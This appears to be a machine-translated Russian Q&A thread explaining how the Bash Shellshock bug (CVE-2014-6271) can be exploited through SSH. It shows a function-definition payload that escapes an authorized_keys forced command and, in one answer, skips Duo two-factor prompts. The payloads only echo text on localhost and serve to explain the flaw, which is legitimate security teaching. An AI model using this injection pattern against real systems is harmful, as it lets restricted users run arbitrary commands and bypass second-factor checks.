как можно использовать shellshock через SSH?

Видимо, эксплойт shellshock Bash CVE-2014-6271 можно использовать через сеть через SSH. Я могу представить, как эксплойт будет работать через Apache / CGI, но я не могу представить, как это будет работать над SSH?

Может ли кто-нибудь указать пример использования SSH и какой вред может быть нанесен системе?

  • Как предотвратить запуск ssh-агента в CentOS?
  • Липкие записи в истории оболочки
  • Регистрация попыток доступа к SSH
  • Подождите, пока процесс переднего плана испустит строку, затем отправьте на задний план
  • В bash я могу асинхронно открывать сокеты и использовать их позже?
  • Почему я могу войти в систему через SSH (PAM Auth), в то время как `shutdown -k` активен?
  • ПОЯСНЕНИЯ

    AFAIU, только аутентифицированный пользователь может использовать эту уязвимость через SSH. Какая польза от этого использования для кого-то, у кого есть законный доступ к системе? Я имею в виду, что у этого эксплойта нет эскалации привилегий (он не может стать root), поэтому он может сделать не больше, чем мог бы сделать, просто выполнив логический вход через SSH.

  • вывод grep в rm
  • Как подавить отображение предыдущих заданий?
  • Как расшифровать зашифрованный контейнер через ssh без ввода парольной фразы, требуя некоторой проверки подлинности клиента?
  • Удаленный сервер ssh на каком-либо порту, кроме 22 без пароля
  • Скопируйте скобки в PS1
  • Выполнять скрипты bash при вводе каталога
  • 3 Solutions collect form web for “как можно использовать shellshock через SSH?”

    Один пример, когда это можно использовать, – это серверы с принудительной командой authorized_keys . При добавлении записи в ~/.ssh/authorized_keys вы можете префикс строки command="foo" чтобы принудительно запускать foo в любое время, когда используется открытый ключ ssh. С помощью этого эксплойта, если оболочка целевого пользователя настроена на bash , они могут воспользоваться эксплойтом для запуска других действий, кроме команды, к которой они вынуждены.

    Это, вероятно, будет иметь больше смысла, например, вот пример:

     sudo useradd -d /testuser -s /bin/bash testuser sudo mkdir -p /testuser/.ssh sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys" sudo chown -R testuser /testuser 

    Здесь мы настраиваем пользовательский testuser , который заставляет любые ssh-соединения использовать ваш ssh-ключ для запуска echo starting sleep; sleep 1 echo starting sleep; sleep 1 .

    Мы можем проверить это с помощью:

     $ ssh testuser@localhost echo something else starting sleep 

    Обратите внимание, что наше echo something else не запускается, но starting sleep показывает, что принудительная команда выполнялась.

    Теперь давайте покажем, как этот эксплойт можно использовать:

     $ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE' MALICIOUS CODE starting sleep 

    Это работает, потому что sshd устанавливает SSH_ORIGINAL_COMMAND среды SSH_ORIGINAL_COMMAND в переданную команду. Поэтому, несмотря на то, что sshd запускал sleep , а не команду, о которой я сказал, из-за эксплойта мой код все еще запускается.

    Расширение на примере Ramesh – если вы используете двухфакторную аутентификацию, можно обойти второй фактор, используя этот эксплойт, в зависимости от того, как он реализован.

    – Обычный вход –

     [10:30:51]$ ssh -p 2102 localhost password: Duo two-factor login Enter a passcode or select one of the following options: 1. Duo Push to XXX-XXX-XXXX 2. Phone call to XXX-XXX-XXXX 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2) Passcode or option (1-3): 1 Pushed a login request to your device... Success. Logging you in... [server01 ~]$ logout 

    – Запуск кода без 2FA –

     [10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE' password: MALICIOUS CODE 

    Вы заметите, что он выполнил код без запроса для 2FA.

    – После исправления bash –

     [10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE' password: bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt bash: error importing function definition for `SSH_ORIGINAL_COMMAND' 

    Shellshock является уязвимостью в bash, а не SSH. Чтобы использовать его, злоумышленник должен заставить уязвимую систему запустить bash и контролировать значение переменной среды, которая будет передана в bash.

    Чтобы достичь процесса bash через SSH, злоумышленнику необходимо пройти шаги аутентификации. (В других сетевых сервисах могут существовать атаки, но они выходят за рамки этого потока.) Если в учетной записи разрешено запускать произвольные команды оболочки, атаки нет. Уязвимость вступает в игру, если учетная запись ограничена для запуска определенных команд: например, учетная запись только для SFTP или учетная запись только git и т. Д.

    Существует несколько способов ограничить учетную запись для запуска определенной команды с SSH: с параметром ForceCommand в sshd_config или с command= . ограничение в файле authorized_keys . Если оболочка пользователя bash, тогда уязвимость Shellshock позволяет пользователю, который обычно имеет доступ только к ограниченной учетной записи, обходит ограничение и выполняет произвольные команды.

    Linux и Unix - лучшая ОС в мире.